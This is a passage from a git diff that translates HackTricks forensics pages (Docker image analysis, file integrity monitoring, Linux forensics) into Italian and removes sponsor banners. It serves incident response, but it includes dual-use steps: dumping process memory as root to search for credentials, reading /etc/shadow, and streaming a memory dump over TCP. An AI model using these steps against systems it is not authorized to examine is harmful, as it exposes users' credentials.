[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) per **estrarre un riepilogo delle modifiche**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Quindi, puoi **decomprimere** l'immagine e **accedere ai blob** per cercare file sospetti che potresti aver trovato nella cronologia delle modifiche: ```bash tar -xf image.tar ``` +### Analisi di Base -### Basic Analysis - -You can get **basic information** from the image running: - +Puoi ottenere **informazioni di base** dall'immagine eseguendo: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Puoi anche ottenere un riepilogo **storia delle modifiche** con: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Puoi anche generare un **dockerfile da un'immagine** con: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Per trovare file aggiunti/modificati nelle immagini docker puoi anche utilizzare il [**dive**](https://github.com/wagoodman/dive) (scaricalo da [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)): ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,19 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Questo ti consente di **navigare tra i diversi blob delle immagini docker** e controllare quali file sono stati modificati/aggiunti. **Rosso** significa aggiunto e **giallo** significa modificato. Usa **tab** per passare all'altra vista e **space** per comprimere/aprire le cartelle. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Con die non sarai in grado di accedere al contenuto dei diversi stadi dell'immagine. Per farlo, dovrai **decomprimere ogni strato e accedervi**.\ +Puoi decomprimere tutti gli strati di un'immagine dalla directory in cui l'immagine è stata decompressa eseguendo: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Credenziali dalla memoria -## Credentials from memory +Nota che quando esegui un container docker all'interno di un host **puoi vedere i processi in esecuzione sul container dall'host** semplicemente eseguendo `ps -ef` -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` +Pertanto (come root) puoi **estrarre la memoria dei processi** dall'host e cercare **credenziali** proprio [**come nel seguente esempio**](../../linux-hardening/privilege-escalation/#process-memory). -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..0e120d3f2 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -2,17 +2,17 @@ # Baseline -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Una baseline consiste nel prendere uno snapshot di alcune parti di un sistema per **confrontarlo con uno stato futuro per evidenziare le modifiche**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Ad esempio, puoi calcolare e memorizzare l'hash di ciascun file del filesystem per poter scoprire quali file sono stati modificati.\ +Questo può essere fatto anche con gli account utente creati, i processi in esecuzione, i servizi in esecuzione e qualsiasi altra cosa che non dovrebbe cambiare molto, o affatto. ## File Integrity Monitoring -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Il File Integrity Monitoring (FIM) è una tecnica di sicurezza critica che protegge gli ambienti IT e i dati tracciando le modifiche ai file. Comporta due passaggi chiave: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Baseline Comparison:** Stabilire una baseline utilizzando attributi dei file o checksum crittografici (come MD5 o SHA-2) per confronti futuri per rilevare modifiche. +2. **Real-Time Change Notification:** Ricevere avvisi istantanei quando i file vengono accessi o modificati, tipicamente attraverso estensioni del kernel del sistema operativo. ## Tools diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..f2f87b129 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## Raccolta Iniziale di Informazioni -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Informazioni di Base +Prima di tutto, è consigliato avere una **USB** con **binaries e librerie ben noti** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib,_ e _/lib64_), poi monta la USB e modifica le variabili di ambiente per utilizzare quei binaries: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Una volta configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Informazioni sospette -#### Suspicious information +Mentre ottieni le informazioni di base, dovresti controllare cose strane come: -While obtaining the basic information you should check for weird things like: +- **I processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID elevato potresti sospettare +- Controlla i **login registrati** degli utenti senza una shell all'interno di `/etc/passwd` +- Controlla gli **hash delle password** all'interno di `/etc/shadow` per gli utenti senza una shell -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### Dump della memoria -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Per ottenere la memoria del sistema in esecuzione, è consigliato utilizzare [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Per **compilarlo**, devi utilizzare lo **stesso kernel** che la macchina vittima sta utilizzando. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima poiché apporterà diverse modifiche ad essa +Quindi, se hai una versione identica di Ubuntu puoi usare `apt-get install lime-forensics-dkms`\ +In altri casi, devi scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con i corretti header del kernel. Per **ottenere gli header esatti del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/` sulla tua macchina, e poi **compilare** LiME utilizzandoli: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME supporta 3 **formati**: -LiME supports 3 **formats**: +- Raw (ogni segmento concatenato insieme) +- Padded (stesso del raw, ma con zeri nei bit a destra) +- Lime (formato raccomandato con metadati) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME può anche essere utilizzato per **inviare il dump tramite rete** invece di memorizzarlo sul sistema utilizzando qualcosa come: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Imaging del disco -### Disk Imaging +#### Spegnimento -#### Shutting down +Prima di tutto, è necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\ +Ci sono **2 modi** per spegnere il sistema, un **spegnimento normale** e uno **spegnimento "stacca la spina"**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **synchronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "stacca la spina" può comportare **alcuna perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare qualcosa al riguardo. Pertanto, se **sospetti** che ci possa essere un **malware**, esegui semplicemente il **comando** **`sync`** sul sistema e stacca la spina. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Prendere un'immagine del disco +È importante notare che **prima di collegare il computer a qualsiasi cosa relativa al caso**, è necessario essere certi che verrà **montato come sola lettura** per evitare di modificare qualsiasi informazione. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Pre-analisi dell'immagine del disco -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Immaginare un'immagine del disco senza ulteriori dati. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Ricerca di Malware conosciuti -
+### File di sistema modificati -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux offre strumenti per garantire l'integrità dei componenti di sistema, fondamentali per individuare file potenzialmente problematici. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **Sistemi basati su RedHat**: Usa `rpm -Va` per un controllo completo. +- **Sistemi basati su Debian**: `dpkg --verify` per una verifica iniziale, seguito da `debsums | grep -v "OK$"` (dopo aver installato `debsums` con `apt-get install debsums`) per identificare eventuali problemi. -## Search for known Malware +### Rilevatori di Malware/Rootkit -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Leggi la pagina seguente per conoscere gli strumenti che possono essere utili per trovare malware: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Ricerca di programmi installati -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Per cercare efficacemente programmi installati su sistemi Debian e RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali in directory comuni. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sulle installazioni dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche. +- Gli utenti di RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati. +Per scoprire software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combina le liste delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti noti, migliorando la tua ricerca per tutti i programmi installati. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Recuperare i Binaries Eseguiti Cancellati -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +Immagina un processo che è stato eseguito da /tmp/exec e poi cancellato. È possibile estrarlo. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Ispeziona le posizioni di avvio automatico -## Inspect Autostart locations - -### Scheduled Tasks - +### Attività pianificate ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Servizi -### Services +Percorsi in cui un malware potrebbe essere installato come servizio: -Paths where a malware could be installed as a service: +- **/etc/inittab**: Chiama script di inizializzazione come rc.sysinit, dirigendo ulteriormente verso script di avvio. +- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, il secondo si trova nelle versioni Linux più vecchie. +- **/etc/init.d/**: Utilizzato in alcune versioni Linux come Debian per memorizzare script di avvio. +- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante Linux. +- **/etc/systemd/system**: Una directory per gli script del gestore di sistema e servizi. +- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un livello di esecuzione multi-utente. +- **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti. +- **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche dell'utente, che possono essere un nascondiglio per malware mirati all'utente. +- **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Moduli del Kernel -### Kernel Modules +I moduli del kernel Linux, spesso utilizzati dal malware come componenti rootkit, vengono caricati all'avvio del sistema. Le directory e i file critici per questi moduli includono: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Contiene moduli per la versione del kernel in esecuzione. +- **/etc/modprobe.d**: Contiene file di configurazione per controllare il caricamento dei moduli. +- **/etc/modprobe** e **/etc/modprobe.conf**: File per le impostazioni globali dei moduli. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Altre Posizioni di Avvio Automatico -### Other Autostart Locations +Linux utilizza vari file per eseguire automaticamente programmi al momento del login dell'utente, potenzialmente ospitando malware: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Eseguiti per qualsiasi login utente. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici dell'utente che vengono eseguiti al loro login. +- **/etc/rc.local**: Viene eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Esaminare i Log -## Examine Logs +I sistemi Linux tracciano le attività degli utenti e gli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema. +- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti. +- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti. +- **/var/log/boot.log**: Contiene messaggi di avvio del sistema. +- **/var/log/maillog** o **/var/log/mail.log**: Registra le attività del server di posta, utile per tracciare servizi legati alla posta elettronica. +- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi. +- **/var/log/dmesg**: Contiene messaggi del driver del dispositivo. +- **/var/log/faillog**: Registra tentativi di accesso falliti, utile per indagini su violazioni della sicurezza. +- **/var/log/cron**: Registra le esecuzioni dei job cron. +- **/var/log/daemon.log**: Traccia le attività dei servizi in background. +- **/var/log/btmp**: Documenta tentativi di accesso falliti. +- **/var/log/httpd/**: Contiene log di errore e accesso di Apache HTTPD. +- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra le attività del database MySQL. +- **/var/log/xferlog**: Registra trasferimenti di file FTP. +- **/var/log/**: Controlla sempre per log inaspettati qui. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> I log di sistema Linux e i sottosistemi di audit potrebbero essere disabilitati o eliminati in un'intrusione o in un incidente di malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano regolarmente. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione. -**Linux maintains a command history for each user**, stored in: +**Linux mantiene una cronologia dei comandi per ogni utente**, memorizzata in: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Inoltre, il comando `last -Faiwx` fornisce un elenco di accessi degli utenti. Controllalo per accessi sconosciuti o inaspettati. -Check files that can grant extra rprivileges: +Controlla i file che possono concedere privilegi extra: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Rivedi `/etc/sudoers` per privilegi utente imprevisti che potrebbero essere stati concessi. +- Rivedi `/etc/sudoers.d/` per privilegi utente imprevisti che potrebbero essere stati concessi. +- Esamina `/etc/groups` per identificare eventuali appartenenze a gruppi o permessi insoliti. +- Esamina `/etc/passwd` per identificare eventuali appartenenze a gruppi o permessi insoliti. -Some apps alse generates its own logs: +Alcune app generano anche i propri log: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Esamina _\~/.ssh/authorized_keys_ e _\~/.ssh/known_hosts_ per connessioni remote non autorizzate. +- **Gnome Desktop**: Controlla _\~/.recently-used.xbel_ per file recentemente accessi tramite applicazioni Gnome. +- **Firefox/Chrome**: Controlla la cronologia del browser e i download in _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ per attività sospette. +- **VIM**: Rivedi _\~/.viminfo_ per dettagli sull'uso, come percorsi di file accessi e cronologia delle ricerche. +- **Open Office**: Controlla l'accesso recente ai documenti che potrebbe indicare file compromessi. +- **FTP/SFTP**: Rivedi i log in _\~/.ftp_history_ o _\~/.sftp_history_ per trasferimenti di file che potrebbero essere non autorizzati. +- **MySQL**: Indaga _\~/.mysql_history_ per query MySQL eseguite, rivelando potenzialmente attività non autorizzate nel database. +- **Less**: Analizza _\~/.lesshst_ per la cronologia d'uso, inclusi file visualizzati e comandi eseguiti. +- **Git**: Esamina _\~/.gitconfig_ e il progetto _.git/logs_ per modifiche ai repository. -### USB Logs +### Log USB -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in puro Python 3 che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle di cronologia degli eventi USB. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +È interessante **conoscere tutte le USB che sono state utilizzate** e sarà più utile se hai un elenco autorizzato di USB per trovare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco). +### Installazione ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Esempi ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -
+## Rivedere gli Account Utente e le Attività di Accesso -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Esaminare il _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controllare possibili attacchi di brute-force sudo.\ +Inoltre, controllare file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati concessi agli utenti.\ +Infine, cercare account con **nessuna password** o **password facilmente indovinabili**. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +## Esaminare il File System -## Review User Accounts and Logon Activities +### Analizzare le Strutture del File System nell'Investigazione di Malware -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +Quando si indagano incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come modificare i timestamp dei file o evitare il file system per l'archiviazione dei dati. -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Per contrastare questi metodi anti-forensi, è essenziale: +- **Condurre un'analisi approfondita della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline. +- **Indagare su script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti. +- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file relativi al malware. +- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti dannosi. +- **Identificare file setuid root** utilizzando il comando: `find / -user root -perm -04000 -print` Questo trova file con permessi elevati, che potrebbero essere abusati dagli attaccanti. +- **Rivedere i timestamp di cancellazione** nelle tabelle inode per individuare cancellazioni di massa di file, che potrebbero indicare la presenza di rootkit o trojan. +- **Ispezionare inode consecutivi** per file dannosi vicini dopo averne identificato uno, poiché potrebbero essere stati 